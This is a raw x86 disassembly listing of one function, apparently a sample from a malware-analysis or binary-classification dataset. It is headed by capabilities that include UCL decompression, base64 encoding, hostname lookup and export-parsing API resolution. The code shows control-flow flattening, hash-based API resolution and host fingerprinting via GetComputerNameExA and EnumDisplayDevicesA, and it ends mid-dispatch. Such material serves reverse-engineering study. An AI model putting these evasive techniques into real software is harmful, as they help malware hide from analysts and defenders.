Function at 0x439dcc
Capabilities:
Decompress data using ucl
Encode data using base64
Get hostname
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x200
mov esi, esp
mov dword [esi + 4], 0xbb90c67c
mov eax, dword [esi + 4]
cmp eax, 0x21b7f16
jg 0x439e7a
cmp eax, 0xb77d2fbb
jg 0x439f17
cmp eax, 0x9e4e3fe7
jg 0x43a069
cmp eax, 0x8f1e0317
jle 0x43a24c
cmp eax, 0x948b4e35
jle 0x43a5d5
cmp eax, 0x99a5bf29
jle 0x43abf0
cmp eax, 0x9ce38986
jg 0x43b690
cmp eax, 0x99a5bf2a
je 0x43c84b
cmp eax, 0x99afacd4
je 0x43c882
cmp eax, 0x9c9702bb
jne 0x439de4
mov ecx, dword [esi + 8]
shl ecx, 0x11
or ecx, 0xbc
mov dword [esi + 8], ecx
mov eax, 0xe69bf09c
cmp ecx, 0xf8
jge 0x439e72
mov eax, 0x947d9de4
mov dword [esi + 4], eax
jmp 0x439de4
cmp eax, 0x46d6d1ca
jle 0x439fd9
cmp eax, 0x5f61c8df
jg 0x43a0e1
cmp eax, 0x531bdc84
jle 0x43a2c3
cmp eax, 0x5b16845b
jle 0x43a618
cmp eax, 0x5c57845e
jle 0x43ac37
cmp eax, 0x5e3e7f9a
jg 0x43b6bd
cmp eax, 0x5c57845f
je 0x43c8b7
cmp eax, 0x5c84e850
je 0x43c8d5
cmp eax, 0x5ce1c3eb
jne 0x439de4
mov eax, dword [esi + 0x154]
push dword [esi + 0x2c]
push dword [esi + 0x110]
call eax
mov eax, dword [esi + 0x30]
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x98], eax
mov eax, dword [esi + 0x98]
add eax, 8
mov dword [esi + 0x158], eax
mov dword [esi + 4], 0x937bbf6b
jmp 0x439de4
cmp eax, 0xe0f47d0a
jg 0x43a165
cmp eax, 0xc97b0f5b
jle 0x43a340
cmp eax, 0xd3aab5a3
jle 0x43a667
cmp eax, 0xda81f154
jle 0x43ac8d
cmp eax, 0xdbb284e7
jg 0x43b6ed
cmp eax, 0xda81f155
je 0x43c8f8
cmp eax, 0xdaf1472c
je 0x43c92a
cmp eax, 0xdb7dcd1f
jne 0x439de4
mov edi, 0x17
push edi
push 0x47b200
push dword [esi + 0xa8]
call fcn.00447850
add esp, 0xc
push 7
push 0x47b217
push edi
push dword [esi + 0xa8]
call fcn.0043ec70
add esp, 0x10
push 0x18
push dword [esi + 0xa8]
push dword [esi + 0x50]
call fcn.00447850
add esp, 0xc
push dword [esi + 0x50]
push dword [esi + 0x10]
call fcn.00458950
add esp, 8
push dword [esi + 0x4c]
push dword [esi + 0x10]
call fcn.00458950
add esp, 8
mov dword [esi + 4], 0x211ca85d
jmp 0x439de4
cmp eax, 0x26f2d5a4
jg 0x43a1e2
cmp eax, 0x124e43cd
jle 0x43a3a2
cmp eax, 0x1b1eb890
jle 0x43a734
cmp eax, 0x1e268162
jle 0x43acf3
cmp eax, 0x23ed04b3
jg 0x43b72f
cmp eax, 0x1e268163
je 0x43c942
cmp eax, 0x1fb4c7e1
je 0x43c97f
cmp eax, 0x211ca85d
jne 0x439de4
mov ecx, dword [esi + 0xc]
imul eax, ecx, 0xf7
imul ecx, ecx, 0x7b8000
imul eax, eax
shr ecx, 6
imul edx, eax, 0x86a7
dec edx
or ecx, 0x59
mov dword [esi + 0xc], ecx
mov ecx, 0xbb90c67c
cmp eax, edx
je 0x43a061
mov ecx, 0xa8fd1b9
mov dword [esi + 4], ecx
jmp 0x439de4
cmp eax, 0xad664ca6
jle 0x43a407
cmp eax, 0xb0ae65cc
jle 0x43a7a1
cmp eax, 0xb2e4f7bf
jle 0x43ad31
cmp eax, 0xb70048b4
jg 0x43b765
cmp eax, 0xb2e4f7c0
je 0x43c994
cmp eax, 0xb5ce3146
je 0x43c9ac
cmp eax, 0xb6fc958b
jne 0x439de4
mov eax, dword [esi + 0xc]
add eax, 0x18
mov dword [esi + 0xc], eax
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x3c4b
dec edx
mov eax, 0x41d92439
cmp ecx, edx
je 0x43a0d9
mov eax, 0xf6f31fa8
mov dword [esi + 4], eax
jmp 0x439de4
cmp eax, 0x6f12b218
jle 0x43a469
cmp eax, 0x742fe648
jle 0x43a814
cmp eax, 0x7b8d484d
jle 0x43ad7a
cmp eax, 0x7e308d02
jg 0x43b7a4
cmp eax, 0x7b8d484e
je 0x43c9f2
cmp eax, 0x7d7a7949
je 0x43ca0c
cmp eax, 0x7dab546c
jne 0x439de4
mov ebx, dword [esi + 8]
add ebx, 0xffffffd7
and ebx, 0xffffffc0
add ebx, 0xffffff33
shr ebx, 1
and ebx, 0xffffffc0
mov dword [esi + 8], ebx
push ebx
call fcn.00439dcc
add esp, 4
mov eax, 0x7e308d03
cmp ebx, 0x50
jb 0x43a15d
mov eax, 0x76378887
mov dword [esi + 4], eax
jmp 0x439de4
cmp eax, 0xf11269ba
jle 0x43a4d8
cmp eax, 0xfc1b5cbd
jle 0x43a879
cmp eax, 0xfebd88cd
jle 0x43adfd
cmp eax, 0x1e49ff
jg 0x43b7ed
cmp eax, 0xfebd88ce
je 0x43ca52
cmp eax, 0xfee511af
je 0x43ca92
cmp eax, 0xfff311e1
jne 0x439de4
mov eax, dword [esi + 8]
add eax, 0xffffff90
shr eax, 0xd
add eax, 0xb9
mov dword [esi + 8], eax
push eax
push 0x54ef
push 0x5efe
call fcn.0042a26c
add esp, 0xc
mov dword [esi + 4], 0x66d8f922
jmp 0x439de4
cmp eax, 0x33f31bd8
jg 0x43a543
cmp eax, 0x2ce8514f
jle 0x43a8bf
cmp eax, 0x2fb8494d
jg 0x43ae65
cmp eax, 0x2d2eb518
jg 0x43b847
cmp eax, 0x2ce85150
je 0x43caad
cmp eax, 0x2d075e91
je 0x43cadb
cmp eax, 0x2d2ce308
jne 0x439de4
push dword [esi + 0x18]
push dword [esi + 0x34]
push 2
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [esi + 0x38]
mov dword [esi + 4], 0xa3175afd
jmp 0x439de4
cmp eax, 0x89ecbea7
jg 0x43a91f
cmp eax, 0x85feac08
jg 0x43aead
cmp eax, 0x8371e050
jle 0x43b8b3
cmp eax, 0x8371e051
je 0x43cb17
cmp eax, 0x8456efa9
je 0x43cb35
cmp eax, 0x846455cb
jne 0x439de4
mov eax, dword [esi + 0xc]
mov ecx, 0xfffffe6e
add eax, ecx
mov ecx, eax
imul ecx, eax
shl eax, 0x1a
imul edx, ecx, 0x1767
dec edx
or eax, 0x36
mov dword [esi + 0xc], eax
mov eax, 0xd9f4c74f
cmp edx, ecx
je 0x43a2bb
mov eax, 0xa7b17fcd
mov dword [esi + 4], eax
jmp 0x439de4
cmp eax, 0x4d69ac8f
jg 0x43a979
cmp eax, 0x4b420ae0
jg 0x43aeec
cmp eax, 0x4859d936
jle 0x43b8fa
cmp eax, 0x4859d937
je 0x43cb70
cmp eax, 0x48c37501
je 0x43cb8b
cmp eax, 0x4a68bd49
jne 0x439de4
mov eax, dword [esi + 0x20]
add eax, 4
push 0x1a4
xor edi, edi
push edi
push eax
call fcn.00448350
add esp, 0xc
mov eax, dword [esi + 0x20]
mov dword [eax], 0x1a8
push edi
push dword [esi + 0x20]
push edi
push edi
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
mov eax, dword [esi + 0x68]
mov dword [esi + 4], 0x17c84498
jmp 0x439de4
cmp eax, 0xc1f8ed48
jg 0x43a9c8
cmp eax, 0xbb90c67b
jg 0x43af24
cmp eax, 0xb868d1bd
jle 0x43b94c
cmp eax, 0xb868d1be
je 0x43cbea
cmp eax, 0xb97d3f16
je 0x43cc0e
cmp eax, 0xbab04675
jne 0x439de4
push 8
push 0x46eea4
push 0xa
push dword [esi + 0x78]
call fcn.0043eb40
add esp, 0x10
mov dword [esi + 4], 0xa32a6cc8
jmp 0x439de4
cmp eax, 0xf0d7fea
jg 0x43aa54
cmp eax, 0xa8fd1b8
jg 0x43af9f
cmp eax, 0x8262103
jle 0x43b99b
cmp eax, 0x8262104
je 0x43cc5c
cmp eax, 0x8545688
je 0x43ccac
cmp eax, 0x9d05032
jne 0x439de4
push eax
sub esp, 0x1c
mov eax, esp
mov dword [esi + 0x6c], eax
push eax
mov eax, esp
mov dword [esi + 0x70], eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x74], eax
mov dword [esi + 4], 0xfc661b1c
jmp 0x439de4
cmp eax, 0xa70b7a5e
jg 0x43aa97
cmp eax, 0xa2476e8e
jg 0x43b006
cmp eax, 0x9f118ce6
jle 0x43b9c9
cmp eax, 0x9f118ce7
je 0x43ccd9
cmp eax, 0xa0844262
je 0x43ccec
cmp eax, 0xa236e535
jne 0x439de4
imul ecx, dword [esi + 8], 0xb0000
mov dword [esi + 8], ecx
mov eax, 0xf11269bb
test ecx, ecx
je 0x43a461
mov eax, 0x41d92439
mov dword [esi + 4], eax
jmp 0x439de4
cmp eax, 0x6508c43b
jg 0x43aaf2
cmp eax, 0x61b129bc
jg 0x43b03e
cmp eax, 0x605430bc
jle 0x43ba1a
cmp eax, 0x605430bd
je 0x43cd3e
cmp eax, 0x6085343c
je 0x43cd4a
cmp eax, 0x60f7684c
jne 0x439de4
mov ecx, dword [esi + 0xc]
shr ecx, 0x1c
imul ecx, ecx
imul edx, ecx, 0x615b
dec edx
mov dword [esi + 0xc], 0xffffff1e
mov eax, 0xfdec072d
cmp edx, ecx
je 0x43a4d0
mov eax, 0x2d2ce308
mov dword [esi + 4], eax
jmp 0x439de4
cmp eax, 0xe88a10da
jg 0x43ab50
cmp eax, 0xe5cca161
jg 0x43b0b2
cmp eax, 0xe2d23748
jle 0x43ba4b
cmp eax, 0xe2d23749
je 0x43cd83
cmp eax, 0xe34bf198
je 0x43cdb2
cmp eax, 0xe5acd740
jne 0x439de4
mov eax, dword [esi + 0xc]
shl eax, 0xc
and eax, 0x7fff000
add eax, 0xffffffce
shr eax, 7
imul eax, eax, 0xe6
shr eax, 6
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x99afacd4
jmp 0x439de4
cmp eax, 0x3e11c0bd
jg 0x43ab9e
cmp eax, 0x38c87237
jg 0x43b122
cmp eax, 0x35597865
jle 0x43baa0
cmp eax, 0x35597866
je 0x43cdcc
cmp eax, 0x3753f3ee
je 0x43ce0a
cmp eax, 0x38777f9f
jne 0x439de4
imul ebx, dword [esi + 8], 0x46e1
shr ebx, 4
and ebx, 0xfffff00
add ebx, 0xffff1700
mov dword [esi + 8], ebx
push ebx
push 0xf96
push 0x126c
push 0x5dfd
call fcn.0043ec70
add esp, 0x10
push 0x1ee8
push 0x5349
push ebx
call fcn.0042a26c
add esp, 0xc
mov dword [esi + 4], 0xcca0ae10
jmp 0x439de4
cmp eax, 0x937bbf6a
jg 0x43b166
cmp eax, 0x9187a370
jle 0x43bb00
cmp eax, 0x9187a371
je 0x43ce36
cmp eax, 0x91e0d370
je 0x43ce42
cmp eax, 0x926682c1
jne 0x439de4
mov dword [esi + 4], 0x7f650479
jmp 0x439de4
cmp eax, 0x57d1dc78
jg 0x43b1bf
cmp eax, 0x54bdfdf0
jle 0x43bb58
cmp eax, 0x54bdfdf1
je 0x43ce76
cmp eax, 0x5511d7ab
je 0x43ce8c
cmp eax, 0x573d535a
jne 0x439de4
push eax
push eax
mov eax, esp
and eax, 0xfffffff8
mov esp, eax
mov dword [esi + 0x24], eax
mov dword [esi + 4], 0x9d05032
jmp 0x439de4
cmp eax, 0xd07c9f2b
jg 0x43b206
cmp eax, 0xcc903aa9
jle 0x43bbab
cmp eax, 0xcc903aaa
je 0x43ced4
cmp eax, 0xcca0ae10
je 0x43cf3a
cmp eax, 0xccf78174
jne 0x439de4
mov eax, dword [esi + 0xb0]
mov byte [eax + 0xe], 0
mov eax, dword [esi + 0xb0]
movzx ecx, word [0x47b23c]
mov word [eax + 0xc], cx
mov ecx, dword [0x47b238]
mov dword [eax + 8], ecx
mov ecx, dword [0x47b234]
mov dword [eax + 4], ecx
mov ecx, dword [0x47b230]
mov dword [eax], ecx
push 7
push 0x47b23e
push 0xe
push dword [esi + 0xb0]
call fcn.0043ec70
add esp, 0x10
mov eax, dword [esi + 0x54]
mov ecx, dword [esi + 0xb0]
mov edx, dword [ecx + 0xb]
mov dword [eax + 0xb], edx
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0x54]
push dword [esi + 0x10]
call fcn.00458950
add esp, 8
push dword [esi + 0x114]
push dword [esi + 0x10]
call fcn.00458950
add esp, 8
mov dword [esi + 4], 0xb266ff11
jmp 0x439de4
cmp eax, 0x15c1292e
jg 0x43b268
cmp eax, 0x1300cd9f
jle 0x43bbf4
cmp eax, 0x1300cda0
je 0x43cf84
cmp eax, 0x1335be38
je 0x43cf99
cmp eax, 0x13517d95
jne 0x439de4
imul eax, dword [esi + 8], 0xb6000000
mov ebx, 0x6325024d
add eax, 0xd2000000
mov dword [esi + 8], eax
je 0x43a786
mov ebx, 0x3c48eef2
push 0x2e46
push 0x36b9
push eax
call fcn.0042a26c
add esp, 0xc
mov dword [esi + 4], ebx
jmp 0x439de4
cmp eax, 0xaf90a897
jg 0x43b2ba
cmp eax, 0xadb398ac
jle 0x43bc16
cmp eax, 0xadb398ad
je 0x43cfcb
cmp eax, 0xadca8570
je 0x43cfe3
cmp eax, 0xaf866bea
jne 0x439de4
mov ecx, dword [esi + 0xc]
lea eax, [ecx + 0x8b]
imul eax, eax
lea ecx, [ecx*4 + 0x40]
and ecx, 0xfffffff0
imul edx, eax, 0x85b
lea ecx, [ecx + ecx*8]
dec edx
shr ecx, 0xf
mov dword [esi + 0xc], ecx
mov ecx, 0x9c9702bb
cmp eax, edx
je 0x43a80c
mov ecx, 0x4b420ae1
mov dword [esi + 4], ecx
jmp 0x439de4
cmp eax, 0x72a94832
jg 0x43b315
cmp eax, 0x6fa6ffb6
jle 0x43bcb0
cmp eax, 0x6fa6ffb7
je 0x43d021
cmp eax, 0x71534070
je 0x43d04b
cmp eax, 0x716ba5cb
jne 0x439de4
mov eax, dword [esi + 8]
shr eax, 7
lea ecx, [eax + eax*4]
lea ecx, [eax + ecx*4]
add eax, ecx
add eax, 0x86c
shr eax, 6
mov dword [esi + 8], eax
push eax
call fcn.00439dcc
add esp, 4
mov dword [esi + 4], 0xf1b064c1
jmp 0x439de4
cmp eax, 0xf80ef964
jg 0x43b35e
cmp eax, 0xf1da4ac7
jle 0x43bcfd
cmp eax, 0xf1da4ac8
je 0x43d07d
cmp eax, 0xf6f31fa8
je 0x43d092
cmp eax, 0xf7d2225a
jne 0x439de4
mov eax, dword [esi + 0x20]
mov dword [esi + 4], 0x57d1dc79
jmp 0x439de4
cmp eax, 0x296a30b3
jg 0x43b3a7
cmp eax, 0x27fb91c5
jle 0x43bd88
cmp eax, 0x27fb91c6
je 0x43d10a
cmp eax, 0x2914cedd
je 0x43d12e
cmp eax, 0x2931a872
jne 0x439de4
mov eax, dword [esi + 0xc]
shl eax, 9
add eax, 0xffffffe6
shr eax, 6
imul eax, eax, 0x8b
shr eax, 0xd
add eax, 0x88
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xa8a3256c
jmp 0x439de4
cmp eax, 0x8b854bf0
jg 0x43b3eb
cmp eax, 0x8a30bdf0
jle 0x43bdb3
cmp eax, 0x8a30bdf1
je 0x43d15e
cmp eax, 0x8a50d471
je 0x43d19a
cmp eax, 0x8a871d56
jne 0x439de4
mov ecx, dword [esi + 8]
shl ecx, 9
mov eax, 0xf11269bb
add ecx, 0x18800
mov dword [esi + 8], ecx
je 0x43a971
mov eax, 0x27da3245
mov dword [esi + 4], eax
jmp 0x439de4
cmp eax, 0x50e13eca
jg 0x43b42a
cmp eax, 0x4e2f86ee
jle 0x43bdde
cmp eax, 0x4e2f86ef
je 0x43d1c5
cmp eax, 0x501bf4fd
je 0x43d1f6
cmp eax, 0x50c3e32e
jne 0x439de4
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0xf4], eax
mov dword [esi + 4], 0x4d2b97c4
jmp 0x439de4
cmp eax, 0xc693a5f3
jg 0x43b462
cmp eax, 0xc42db576
jle 0x43be40
cmp eax, 0xc42db577
je 0x43d225
cmp eax, 0xc54b6276
je 0x43d231
cmp eax, 0xc5a14784
jne 0x439de4
push 0x18
push 0x46ef50
push dword [esi + 0xbc]
call fcn.00447850
add esp, 0xc
push 4
push 0x46ef68
push 0xc
push dword [esi + 0xbc]
call fcn.0043eb40
add esp, 0x10
push dword [esi + 0xbc]
push 0x2f9959e0
call fcn.00442630
add esp, 8
push 0x55
push dword [esi + 0x118]
call eax
mov dword [esi + 4], 0x4d69ac90
jmp 0x439de4
cmp eax, 0xfe595bf
jg 0x43b4b9
cmp eax, 0xf34aba4
jle 0x43be71
cmp eax, 0xf34aba5
je 0x43d276
cmp eax, 0xf3e7f6a
je 0x43d28c
cmp eax, 0xf9579f9
jne 0x439de4
mov dword [esi + 4], 0x5ce1c3eb
jmp 0x439de4
cmp eax, 0xa9dcb451
jg 0x43b539
cmp eax, 0xa7992a68
jle 0x43beb1
cmp eax, 0xa7992a69
je 0x43d2a7
cmp eax, 0xa7b17fcd
je 0x43d2d5
cmp eax, 0xa8a3256c
jne 0x439de4
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x1c4]
mov dword [eax + 0x14], ecx
mov eax, dword [esi + 0x14]
add eax, 0x18
mov dword [esi + 0x1d0], eax
mov dword [esi + 4], 0xaf866bea
jmp 0x439de4
cmp eax, 0x6974e1dd
jg 0x43b594
cmp eax, 0x66d8f921
jle 0x43bf03
cmp eax, 0x66d8f922
je 0x43d2f5
cmp eax, 0x6795d964
je 0x43d329
cmp eax, 0x6894e65e
jne 0x439de4
mov ecx, dword [esi + 8]
mov eax, 0x8f
add ecx, eax
mov dword [esi + 8], ecx
mov eax, 0x6fa6ffb7
cmp ecx, 0xf4
je 0x43ab48
mov eax, 0xfb727085
mov dword [esi + 4], eax
jmp 0x439de4
cmp eax, 0xeb8fa61e
jg 0x43b5f3
cmp eax, 0xe9aedc9e
jle 0x43bf3f
cmp eax, 0xe9aedc9f
je 0x43d34c
cmp eax, 0xea92231a
je 0x43d372
cmp eax, 0xeb136a04
jne 0x439de4
mov eax, dword [esi + 0x1a8]
mov word [eax], 0xa
mov dword [esi + 4], 0x1679ca20
jmp 0x439de4
cmp eax, 0x42bd2fc0
jg 0x43b642
cmp eax, 0x3f91de97
jle 0x43bf83
cmp eax, 0x3f91de98
je 0x43d39c
cmp eax, 0x414a9608
je 0x43d3c9
cmp eax, 0x41d92439
jne 0x439de4
mov eax, dword [esi + 0x80]
add eax, 0xf
mov dword [esi + 0x138], eax
mov dword [esi + 4], 0xcc903aaa
jmp 0x439de4
cmp eax, 0x968581c1
jle 0x43bfc2
cmp eax, 0x968581c2
je 0x43d404
cmp eax, 0x9696d002
je 0x43d41e
cmp eax, 0x9966aa01
jne 0x439de4
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x1e0]
mov dword [eax + 0x2c], ecx
mov eax, dword [esi + 0x64]
mov dword [esi + 4], 0x50c3e32e
jmp 0x439de4
cmp eax, 0x5b5a33b3
jle 0x43c00a
cmp eax, 0x5b5a33b4
je 0x43d433
cmp eax, 0x5b5bca45
je 0x43d43f
cmp eax, 0x5c3dcc02
jne 0x439de4
mov eax, dword [esi + 0xf0]
mov eax, dword [esi + 0xe4]
mov eax, dword [esi + 0xe8]
mov eax, dword [esi + 0xec]
mov dword [esi + 0x1dc], eax
mov dword [esi + 4], 0xe5cca162
jmp 0x439de4
cmp eax, 0xd6aa9c86
jle 0x43c057
cmp eax, 0xd6aa9c87
je 0x43d44b
cmp eax, 0xd7f59a15
je 0x43d46b
cmp eax, 0xd9f4c74f
jne 0x439de4
push 8
push 0x46eed4
push 0xa
push dword [esi + 0x7c]
call fcn.0043eb40
add esp, 0x10
push dword [esi + 0x7c]
push 0x3d95e230
call fcn.00442630
add esp, 8
push 1
call eax
mov dword [esi + 0x130], eax
mov dword [esi + 4], 0x43c33c99
jmp 0x439de4
cmp eax, 0x1c80085b
jle 0x43c088
cmp eax, 0x1c80085c
je 0x43d483
cmp eax, 0x1d34faff
je 0x43d4b4
cmp eax, 0x1deb4829
jne 0x439de4
mov eax, dword [esi + 0x58]
mov eax, dword [esi + 0x54]
mov dword [esi + 4], 0xc87144d5
jmp 0x439de4
cmp eax, 0xb231cbe4
jle 0x43c0c2
cmp eax, 0xb231cbe5
je 0x43d4cf
cmp eax, 0xb25bd189
je 0x43d4db
cmp eax, 0xb266ff11
jne 0x439de4
push dword [esi + 0x10]
call fcn.00458b30
add esp, 4
mov dword [esi + 0x190], eax
mov dword [esi + 4], 0x95a6045c
jmp 0x439de4
cmp eax, 0x76378886
jle 0x43c115
cmp eax, 0x76378887
je 0x43d516
cmp eax, 0x78f3693f
je 0x43d52e
cmp eax, 0x7ab738d1
jne 0x439de4
imul edi, dword [esi + 8], 0x4a1e000
add edi, 0xffffffc6
mov ebx, edi
shr ebx, 0x15
mov dword [esi + 8], ebx
push 0x5903
push 0x212c
push ebx
push 0x2001
call fcn.0043ec70
add esp, 0x10
push 0x4384
push ebx
push 0x14bb
call fcn.0042a26c
add esp, 0xc
mov eax, 0x6974e1de
cmp edi, 0x800000
jb 0x43adf5
mov eax, 0x42bd2fc1
mov dword [esi + 4], eax
jmp 0x439de4
cmp eax, 0xfddc0a34
jle 0x43c14c
cmp eax, 0xfddc0a35
je 0x43d563
cmp eax, 0xfdec072d
je 0x43d599
cmp eax, 0xfe7153dc
jne 0x439de4
mov eax, dword [esi + 0xc]
mov ecx, 0xc8
add eax, ecx
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x5e51
dec edx
shl eax, 6
and eax, 0xfffffc0
add eax, 0x95
mov dword [esi + 0xc], eax
mov eax, 0xfe595c0
cmp edx, ecx
je 0x43ae5d
mov eax, 0x3c323645
mov dword [esi + 4], eax
jmp 0x439de4
cmp eax, 0x31eef73a
jle 0x43c16e
cmp eax, 0x31eef73b
je 0x43d5b1
cmp eax, 0x337bd74f
je 0x43d5f8
cmp eax, 0x33dd17fb
jne 0x439de4
mov eax, dword [esi + 0x68]
mov dword [eax + 4], 0x203a55
mov dword [eax], 0x5047202d
mov dword [esi + 4], 0xd3f82c57
jmp 0x439de4
cmp eax, 0x87e8b294
jle 0x43c1ba
cmp eax, 0x87e8b295
je 0x43d617
cmp eax, 0x887d932f
je 0x43d640
cmp eax, 0x892dc24b
jne 0x439de4
push eax
push eax
mov eax, esp
mov dword [esi + 0x68], eax
mov dword [esi + 4], 0x337bd74f
jmp 0x439de4
cmp eax, 0x4cfdc643
jle 0x43c22f
cmp eax, 0x4cfdc644
je 0x43d687
cmp eax, 0x4d2b97c4
je 0x43d693
cmp eax, 0x4d332d52
jne 0x439de4
mov dword [esi + 4], 0xdaf1472c
jmp 0x439de4
cmp eax, 0xbcf9755e
jle 0x43c26e
cmp eax, 0xbcf9755f
je 0x43d6b2
cmp eax, 0xbd25fd98
je 0x43d6c4
cmp eax, 0xc1353870
jne 0x439de4
mov eax, dword [esi + 8]
lea ebx, [eax*8 + 0xb4]
mov dword [esi + 8], ebx
push 0xd13
push 0xf2b
push ebx
push 0x3e34
call fcn.0043ec70
add esp, 0x10
push 0x6275
push 0x170e
push ebx
call fcn.0042a26c
add esp, 0xc
mov eax, 0x66d8f922
cmp ebx, 0x5b
jae 0x43af97
mov eax, 0xb03f9c2e
mov dword [esi + 4], eax
jmp 0x439de4
cmp eax, 0xc6c0285
jle 0x43c2c1
cmp eax, 0xc6c0286
je 0x43d6d3
cmp eax, 0xe66bf2d
je 0x43d70a
cmp eax, 0xeff5112
jne 0x439de4
push 4
push 0x46ef88
push 0xc
push dword [esi + 0xf8]
call fcn.0043eb40
add esp, 0x10
push dword [esi + 0xf8]
push 0x5f086d32
call fcn.00442630
add esp, 8
push dword [esi + 0x24]
call eax
mov dword [esi + 4], 0xafc4ee92
jmp 0x439de4
cmp eax, 0xa32a6cc7
jle 0x43c2fc
cmp eax, 0xa32a6cc8
je 0x43d71f
cmp eax, 0xa42e360d
je 0x43d759
cmp eax, 0xa54e5c91
jne 0x439de4
mov dword [esi + 4], 0x69f4ad
jmp 0x439de4
cmp eax, 0x6325024c
jle 0x43c341
cmp eax, 0x6325024d
je 0x43d777
cmp eax, 0x63338662
je 0x43d824
cmp eax, 0x63ec7fa0
jne 0x439de4
mov eax, dword [esi + 0xe0]
mov eax, dword [esi + 0xd4]
mov eax, dword [esi + 0xd8]
mov eax, dword [esi + 0xdc]
mov dword [esi + 0x1c8], eax
mov eax, dword [esi + 0xd4]
mov eax, dword [esi + 0xd8]
mov eax, dword [esi + 0xdc]
mov eax, dword [esi + 0xe0]
mov dword [esi + 0x1cc], eax
mov dword [esi + 4], 0xc813c3f7
jmp 0x439de4
cmp eax, 0xe69bf09b
jle 0x43c38f
cmp eax, 0xe69bf09c
je 0x43d851
cmp eax, 0xe6ea9729
je 0x43d883
cmp eax, 0xe7a5b604
jne 0x439de4
mov eax, dword [esi + 8]
lea eax, [eax + eax*8]
lea edi, [eax + eax*2]
add edi, 0x127f
mov dword [esi + 8], edi
push edi
push 0x4369
push 0x2861
push 0x37ec
call fcn.0043ec70
add esp, 0x10
mov eax, 0x4db70e68
cmp edi, 0xad
je 0x43b11a
mov eax, 0x72ba1575
mov dword [esi + 4], eax
jmp 0x439de4
cmp eax, 0x3b65110f
jle 0x43c3c2
cmp eax, 0x3b651110
je 0x43d8ac
cmp eax, 0x3c323645
je 0x43d8d3
cmp eax, 0x3c48eef2
jne 0x439de4
push eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x9c], eax
mov dword [esi + 4], 0xad6c71dc
jmp 0x439de4
cmp eax, 0x940f8e50
jle 0x43c422
cmp eax, 0x940f8e51
je 0x43d8fe
cmp eax, 0x9421147a
je 0x43d949
cmp eax, 0x947d9de4
jne 0x439de4
mov eax, dword [esi + 8]
shl eax, 0x11
add eax, 0xfffffc98
mov dword [esi + 8], eax
push 0x3910
push eax
push 0x1801
call fcn.0042a26c
add esp, 0xc
mov dword [esi + 4], 0xe5dfa1d0
jmp 0x439de4
cmp eax, 0x58d1342d
jle 0x43c467
cmp eax, 0x58d1342e
je 0x43d970
cmp eax, 0x5963f80b
je 0x43d98a
cmp eax, 0x5aad65f8
jne 0x439de4
mov eax, dword [esi + 0x10]
add eax, dword [esi + 0x190]
mov dword [esi + 0x194], eax
mov dword [esi + 4], 0x65ed1883
jmp 0x439de4
cmp eax, 0xd2b4bc11
jle 0x43c4a3
cmp eax, 0xd2b4bc12
je 0x43d9a5
cmp eax, 0xd3246476
je 0x43da0a
cmp eax, 0xd37c3660
jne 0x439de4
mov edi, dword [esi + 8]
shl edi, 0xc
mov dword [esi + 8], edi
push edi
push 0xce9
push 0x2bb9
push 0x51db
call fcn.0043ec70
add esp, 0x10
push edi
call fcn.00439dcc
add esp, 4
mov dword [esi + 4], 0x73991739
jmp 0x439de4
cmp eax, 0x17c84497
jle 0x43c4d0
cmp eax, 0x17c84498
je 0x43da8a
cmp eax, 0x184b7ead
je 0x43dabc
cmp eax, 0x18fafddd
jne 0x439de4
mov eax, dword [esi + 0x1b0]
mov ecx, dword [esi + 0x1bc]
mov dword [ecx], eax
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x1b4]
mov dword [eax + 8], ecx
mov dword [esi + 4], 0x2cbd2feb
jmp 0x439de4
cmp eax, 0xafc4ee91
jle 0x43c4fe
cmp eax, 0xafc4ee92
je 0x43daeb
cmp eax, 0xb007f694
je 0x43db1f
cmp eax, 0xb03f9c2e
jne 0x439de4
imul ecx, dword [esi + 8], 0x6400
add ecx, 0xffffffe5
mov eax, ecx
shr eax, 5
add eax, 5
mov dword [esi + 8], eax
mov eax, 0x62bfa6e7
cmp ecx, 0x1940
jae 0x43b30d
mov eax, 0x42bd2fc1
mov dword [esi + 4], eax
jmp 0x439de4
cmp eax, 0x72e61f70
jle 0x43c548
cmp eax, 0x72e61f71
je 0x43db88
cmp eax, 0x73342376
je 0x43dbb3
cmp eax, 0x73991739
jne 0x439de4
mov eax, dword [esi + 8]
shl eax, 7
add eax, 0xbf
shr eax, 0xc
mov dword [esi + 8], eax
mov dword [esi + 4], 0x9187a371
jmp 0x439de4
cmp eax, 0xfb6f4166
jle 0x43c5a6
cmp eax, 0xfb6f4167
je 0x43dbee
cmp eax, 0xfb727085
je 0x43dc23
cmp eax, 0xfbe5a0ab
jne 0x439de4
mov eax, dword [esi + 8]
shl eax, 0xb
or eax, 0xca
imul eax, eax, 0x2e
mov dword [esi + 8], eax
mov dword [esi + 4], 0xcca0ae10
jmp 0x439de4
cmp eax, 0x2c2e24d8
jle 0x43c5d1
cmp eax, 0x2c2e24d9
je 0x43dc38
cmp eax, 0x2c737f8a
je 0x43dc67
cmp eax, 0x2cbd2feb
jne 0x439de4
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x1b8]
mov dword [eax + 0xc], ecx
mov dword [esi + 4], 0x940f8e51
jmp 0x439de4
cmp eax, 0x8cbc9032
jle 0x43c612
cmp eax, 0x8cbc9033
je 0x43dca7
cmp eax, 0x8d4b6c74
je 0x43dcbc
cmp eax, 0x8ec83fcd
jne 0x439de4
mov dword [esi + 8], 0xff1d0000
mov dword [esi + 4], 0x43746018
jmp 0x439de4
cmp eax, 0x5125f620
jle 0x43c64f
cmp eax, 0x5125f621
je 0x43dcef
cmp eax, 0x51bd2630
je 0x43dd1b
